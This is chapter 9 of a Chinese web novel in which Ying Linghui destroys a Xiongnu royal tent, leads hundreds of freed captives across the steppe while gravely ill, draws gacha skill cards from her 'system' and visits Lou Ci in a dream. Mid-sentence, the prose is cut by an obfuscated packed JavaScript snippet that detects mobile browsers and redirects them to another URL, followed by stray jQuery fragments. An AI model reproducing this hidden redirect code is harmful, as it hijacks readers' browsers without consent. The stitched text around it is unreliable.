9. 第九章

作品:《升官发财捞哥哥

    无咎一脸是血浑身煞气直奔她而来,手里拎着左贤王惊恐万分的脑袋。


    褚何华下意识挡在应灵徽身前想要隔开二人,架不住辟非也一脸憨笑跑过来邀功。


    而二人身后一名倒地匈奴士兵突然持刀暴起。


    眼见刀尖就要捅进辟非背心——


    说时迟那时快,“趴下!”应灵徽大吼。


    几乎同时,“轰隆!!”一声巨响。


    尽管所有人第一反应就是护在应灵徽身前,但还是避免不了她被爆炸冲击得倒飞出去而后重重砸在地上。


    气浪推着她翻滚几圈,“咳咳!”喉咙里漫上血腥气,头腔压力增高导致产生耳鸣,刻在灵魂中的肌肉记忆促使她借着烟尘遮掩伏在地上扯住袖子擦拭唇边血迹。


    “真狼狈啊,应灵徽。”


    她眸光自嘲,额头鲜血如注,放任自己短暂地颓然低头。


    她想,原来体验过肆意跑跳,用武力碾压他人的感觉后,自己竟然也会不适应这颗衰败迟暮的心脏。


    可惜那样的日子终究只是昙花一现,追忆而已。


    耳边传来其他人的呼喊,应灵徽神色平静下来。


    慢慢站起身调整呼吸,涩然开口:“我,喀,咳咳,在这里。”


    刚才炸药引爆的瞬间整个王帐坍塌成废墟,都城里流窜的人都感到大地一震,探子立刻奔走在人群里哭喊:“长生天震怒!降下天罚了!”


    此刻谣言传遍,人心惶惶,到他们最后添一把火的时候了。


    “乌——!”


    应灵徽吹了个奇特哨音,去病浑身毛发悚立,冲进牛羊群中驱赶恐吓,二当家带人将关牲口的栅栏统统砍倒,牛羊顿时冲向四面八方,本就混乱的场面一发不可收拾。


    在爆炸火势蔓延开之前,一匹黑马带领着其他马循声“哒哒哒”跑到应灵徽面前,她轻轻一挥手,众人纷纷上马。


    抓住缰绳的瞬间,心口传来一阵绞痛,她背过身捂着嘴艰难喘息两声,指缝溢出微不可见的血丝,正好被慢一步赶来的褚何华尽收眼底。


    他瞳孔一震,不敢相信自己的眼睛,“主君!你……”


    “嘘,咳咳。”


    应灵徽眸光犀利,面色苍白却不容置疑,甚至因为那两分血色而透出一股诡异的凄戚。


    这个眼神无疑肯定了褚何华心中猜想,但越到最后关头她这个主心骨越是不可露怯,否则即便大获全胜也可能长溃千里,他作为暗探最是通透其中道理。


    因此不过眼神一来一回的片刻功夫,褚何华就干咽一下作出决定,他看向应灵徽郑重道:“好,何华必誓死护主君周全!”


    闻言应灵徽松了口气,轻声:“扶我上马。”


    褚何华让她踩着自己膝盖,双手扶着她的腰向上托举到马背上,而后自己也飞身上马,全程沉默不语,只有微微泛红的耳尖暴露了他内心不平静。


    应灵徽毫无察觉,放心将全身力气靠在他身上,指挥去病和无咎辟非趁机带领人手奇袭城门,左贤王已死,加之有王妃帮助,本就是摆样子的城门如同纸糊般一戳就破。


    最后遥望一眼金城公主的毡帐。


    应灵徽和褚何华共乘一骑率先破城而出,她忍着喉咙里不停上涌的血气嘶声大吼:“诸位!随我归家!”


    烽烟滚滚,火势汹汹,烧化草原初雪。


    大风起兮——!


    壮士归矣——!


    草原奴们一双双麻木的眼睛在歌声中被点亮,鹅毛大雪点起星星之火,聚成燎原之势。


    这些人或是赤脚跟在他们身后追赶,或是抢了匈奴人战马与他们并肩,呼延巴娜马背上驮着被打晕带走的虞昭,无咎辟非落在后面抵挡匈奴人不成气候的追击,他们奔着日出的方向全速前进。


    除了活下去,还有回家这个动力支撑着他们不要倒下。


    杂乱但乱中有序的队伍按照应灵徽规划的路线辗转奔袭,终于在六日后甩掉最后一股追兵。


    应灵徽一直提着的那口气松下去,人当时就晕了。


    系统半点不敢含糊的监测宿主生命体征,急的恨不得去别的位面抢其他系统的系统商店。


    “宿主,宿主,宿主……”


    “别吵,我只是累了,休息一会儿。”应灵徽意识含糊不清。


    系统急得恨不得抽她,上窜下跳极尽吵闹:不能睡啊宿主,你前世这个时候发病直接进三甲医院抢救才保住一条命,现在睡了鬼知道你还能不能醒过来!


    但它的话好像丝毫触动不了应灵徽。


    怎么办!怎么办!


    眼看生命体征就要消失,系统突然找到救命稻草一样,开始在应灵徽脑海里播放起她哥那边的实时画面。


    世界开始割裂。


    仿佛处在另一个时空高枕软卧的明亮房间里,脸上有一片骇人胎记的应微明正捏着妆粉敷脸,嘴里嘀嘀咕咕:“也不知道小灵徽在干嘛,吃饭了没有,有没有人欺负她,这小兔崽子都多久没给我寄信了,真是女大不由哥……”


    接着他穿上绫罗绸缎制成的层迭舞服,从墙上取下软剑,反手挽剑花,提前练习晚上宴会要献的剑舞。


    一招一式,凌厉婉约,飒爽飘逸。


    舞毕,应微明额头沁出汗珠,露出笑意长叹一声:“痛快!”


    此时外面来了丫鬟敲门,语气恭敬:“应小娘子,时候到了。”


    应微明稍稍紧紧嗓子,意气风发地道:“来了!”


    “滴滴滴滴——”心电图从一条平滑的线缓慢恢复波动。


    亲眼见证这一医学奇迹的系统眼睛变成问号,不理解,但尊重,它默默帮宿主调大视窗并贴心配乐。


    感叹:人类真是复杂,它宿主这么无懈可击的个人至上主义功利者,竟然也会有违背她本性的懦弱。


    因为怕哥哥难过,所以选择活着,难懂哦。


    ……


    应灵徽病情反复的日子里,他们穿越了草原上的无人区,终于见到山脉后炫目的阳光。


    “主君!主君我们到了!”身后的声音激动不已。


    周围逐渐传来欢呼雀跃的声音,饶是这些天无时无刻不在生死间徘徊的应灵徽也不禁露出笑来。


    真不容易啊。


    进入草原时她和楼慈只有两个人,潜入右贤王部时只有几十人,冒名顶替进左贤王部时也不过百人。


    但如今自己身后有整整八百人,他们来自不同郡县,不同出身和年龄,却有一样的赤胆忠心。


    对于这八百人而言,应灵徽就是来自故国的天神,暗无天日等待死亡路上突然迎来的解脱,她冷静睿智,临危不乱,神挡杀神,佛挡杀佛,这股狠辣非但没有让她形象崩塌,反而在绝境中让人倍感安心。


    因为所有人都清楚地知道,无论面前是什么,她必将杀出一条血路,每个人都目光炽热地望向她,吊桥效应的威力在此刻尽显无疑。


    他们仰望她时,应灵徽也满意地俯视着他们,她明白只要再施加一些磨难,这些人就会蜕变成为她的第一批死忠。


    出了这片草原,带着她的野心和势力散到天南海北,如她一年前计划的那样。


    .


    夜晚来临,巨大温差下众人自发抱团取暖。


    无咎辟非、巴娜、褚何华,甚至连因为骂得太难听被堵住嘴的虞昭都试图凑近,将自己作为热源把温度传递给她。


    但远远不够,应灵徽感觉空气中的寒冷已经侵入肺腑,好像全身都被冻住,身体冷得要命,但精神仍在无休止地亢奋。


    马踏王庭,她做到了。


    直到系统弹出任务奖励通知时,她才迟钝地品尝到成功的喜悦。


    但更让她着迷的是——那种掌控命运的踏实感和完成一项不可能目标带来的成就感,这两种感觉混合成近乎失血的快感。


    应灵徽扬起嘴角,“原来有人生下来就注定是要做弄臣的。”


    比如她这样贪婪成性、嗜权如命的人。


    在心头腾起野火时,她就无比清楚的认识到自己连血液里都流淌着无穷无尽的欲望。


    也许只有将所有渴求的东西牢牢抓在手里时,她才能感到安心,才会从骨子里感受到彻底餍足。


    但也有可能,她应灵徽,就是一个不折不扣,永远不知满足的人。


    她很愿意做这样的人,也毫不意外这就是真实的自己。


    系统被应灵徽称得上癫狂的想法砸的头晕目眩,bug一个接一个,不得不打断宿主想法提议:宿主要不要先抽个十连?


    应灵徽在脑海里点击亮起的命运赌盘图标,两个不同风格的卡池陈列左右。


    系统兴冲冲的给她介绍:左边的是常驻卡池,60抽保底出金,右边的是本期限定卡池,100抽保底出金,宿主要不要试试?


    应灵徽挑眉:“限定卡池?”


    她脑子里不停浮现前世漫天宣传的无良游戏,顿时敬谢不敏。


    系统捉急,将限定卡池放大展示里面的ssr技能卡。


    “偷天换日,愚公移山,七彩祥云?”


    应灵徽感觉一股浓浓的诈骗风向自己袭来。


    系统困惑:宿主你居然不心动?这可是系统商店销量前三的道具!专门用来创造神迹!堪称断货王。


    还是它提前特意向主系统申请的呢。


    应灵徽:唉,就怕人笨还勤快。


    困意上涌,她直接在常驻池里抽了个十连。


    一阵华丽特效过后,九张r卡和一张sr卡漂浮在应灵徽眼前。


    她和系统一起陷入沉默。


    倒不是因为没出金,她对自己的运气有非常明确的认知,如果不是卡池机制,应灵徽估计自己能十张r卡一直抽到死。


    最让她无语的地方是,十张卡,每一张都冷门到邪门的程度,主系统都要说一句,这么一收拾库房里干净多了。


    r卡分别是五张倒霉卡(只能对自己使用),三张召唤卡,一张托梦卡(低级),唯一那张自动生效的sr……


    应灵徽咬牙切齿问系统:“动、物、亲、和、力!我难道要在古代开动物园吗?”


    系统瑟瑟发抖,系统不敢说话,系统怀疑是宿主手黑但没有证据而且危险系数太大。


    “没关系,起码累到了。”


    应灵徽深吸口气安慰自己,打算把剩下的积分攒着一起抽美妆限定卡池的养颜丹。


    刚打算假寐一会儿,身边蹭过来一个毛茸茸又有点扎手的脑袋。


    她微讶的撸了一把狼头,“去病?”


    体型巨大的灰狼伸了个懒腰,一爪子扒拉开守在应灵徽身边的岱钦,自己盘起身子将她圈进怀里。


    半掌长的狼毛扑了应灵徽一脸,她刚要抬手推开就对上去病那双澄澈的蓝色眼睛,很像她和哥哥喂过的流浪猫。


    那些猫都死在他们前面,哥哥每次都会挖个浅坑把它们的尸体埋了,然后自己躲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956663|193156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来偷偷哭。


    一边哭一边骂:“你也是个没福气的,活不长,指望不上你们陪小灵徽长大……”


    那时候她只会想,哥哥,可是我也长不大。


    而现在,她将手放在狼眼上隔空抚摸,喃喃自语:“如果他看见你,应该会喜欢吧,养狼和养猫差不多……”应该差不多,她点点头,嘴角扬起一点弧度。


    心想:真好,哥哥不会死,她也会努力活下去,他们又有了新的宠物。


    “嗷呜”,去病软软的叫了一声,对她露出柔软的腹部邀请她一起睡。


    无边无际的墨色苍穹下,应灵徽试探许久,才慢慢将身体贴在去病身上,头枕在顺滑的皮毛上,浑身暖融融的,她在心里默念:哥哥,晚安。


    一夜好梦。


    清晨时,小雪不知不觉覆盖在熟睡的人身上。


    负责守夜的人看到先是摇头,对视一眼后纷纷选择用手将雪拂去,面上带着他们自己都没发现的笑意。


    有去病遮挡,应灵徽身上连露水都没沾染。


    “哥哥,哥哥。”她在睡梦中反复呼唤。


    “什么?”


    褚何华拎着烤饼和羊肉回来倾耳想听她说什么却见她已经睁眼。


    “主君,你感觉如何?”


    应灵徽恹恹垂眼,半晌吐出一个“冷”字。


    褚何华无法,只好低头用羊皮裹住她,小心翼翼抱到阳光充足的地方晒着。


    众人虽然各自有事忙,但两只眼睛都分出一只关注着她那边情况,见她醒了,周遭瞬间围过来一群人。


    十一娘可好些了?”


    “主君怎么样!”


    嘘寒问暖声重叠在一起好似有一百只乌鸦在耳边吵嚷。


    应灵徽睁眼环顾守在身边的众人,他们休息的差不多,也到了计划中离开草原的时候了。


    她嗓子痛哑,强撑着混沌的脑子告诉他们下一步该怎么做。


    只是第一句就如同霹雳炸得众人骇然凄惶,她说:“我死之后,你们继续与楼慈汇合。”


    “主君如何就要死了!”


    “十一娘您莫要这么咒自己!”


    关键时候还是虞昭推开众人,抱臂冷哼:“你们七嘴八舌的是想早些把她送走吗?”


    不同于其他人的惊骇,二当家沉思前事,心里有个声音告诉她应灵徽说的“死”未必就是真死,是金蝉脱壳也说不定。


    而这个想法在对上应灵徽笃定中带有两分惊喜的眼神时得到了答案。


    果然,和聪明人打交道就是费脑啊,二当家这么想着硬头皮站出来安抚众人情绪。


    她满脸悲痛欲绝,以十一娘沉疴许久这个理由将他们糊弄过去。


    说的有鼻子有眼,经过她的描述,十一娘深入草原本就是为了拯救被掳掠的同胞,早在上路之前她就知道自己命不久矣,还曾经发下誓言,若能以她一命,换众人活命,那她虽九死而犹未悔!


    听完别说被救的人感动,就是应灵徽这个“救人”的也颇意犹未尽。


    系统诧异的嗑代码:这人竟然能跟上宿主你诡异的脑回路,骨骼清奇,是个人才。


    应灵徽闭目养神,和它意念交流,“她跟了我两年,的确是个可造之材,不过我未来打算把她培养成护卫首领,因此还有的磨练。”


    一副黑心资本家永远不会对员工满意的嘴脸。


    顿时系统看向二当家的眼神都怜爱了。


    但她远远不是目前最惨的人,对此三天没睡觉被匈奴军队追得满草原乱窜的楼慈有话说。


    “将军,我们已经弹尽粮绝了,如果进入前面的无人区很可能就再也出不来了。”


    远处白茫茫的荒谷如同一道狭长廊道,直达天际,周围两侧石壁寸草不生,只有雪水在上午阳光照耀到坚冰融化时滴滴答答流下来。


    楼慈迟疑片刻,终究不敢拿性命攸关的事冒险。


    他沉声:“就地扎营,容我思考一晚咱们再做打算。”


    当夜,应灵徽对他使用了托梦技能卡。


    纯白雪地里两人面面相觑,准确的说,是大暴君单方面不知所措。


    应灵徽心累的对系统道:“你最好给我个解释,为什么我现在是前世的样子,需要我亲自升级版本还要你做什么?”


    系统:装死jpg


    没办法,托梦卡时效只有半个时辰。


    应灵徽控制自己的身体歪歪扭扭走到一脸见鬼表情的楼慈面前。


    就在她打算把想说的话写字告诉楼慈时,身体诡异的不听使唤,如果非要形容,就像游戏里3d人物穿模了……


    感受不到一只脚存在的她瞬间失去平衡向前扑倒,楼慈下意识伸手接住她,两人双双摔倒在雪地里。


    应灵徽的发丝和手指划过楼慈的脸,他能感受到鼻尖酥麻,眼尾略有一丝痛楚。


    松软但没有温度的雪更像是天上漂浮不定的云围绕在身边,正午金乌掠影洒下余晖落在这个熟悉却又从未见过的女子身上,那一瞬间她不言不语,定定看着自己。


    那表情绝对称不上养眼,甚至能清楚的知道她在不耐烦。


    神仙玉骨,淡然出尘,气质却唯有桀骜危险可以形容。


    但楼慈就是看痴了,脑子里一片空白,只有眼睛诚实的无法从对方身上移开。


    他不明白为什么世上会有这种绮靡容光的存在。


    “你是谁?”声音极力压制着躁动和渴望。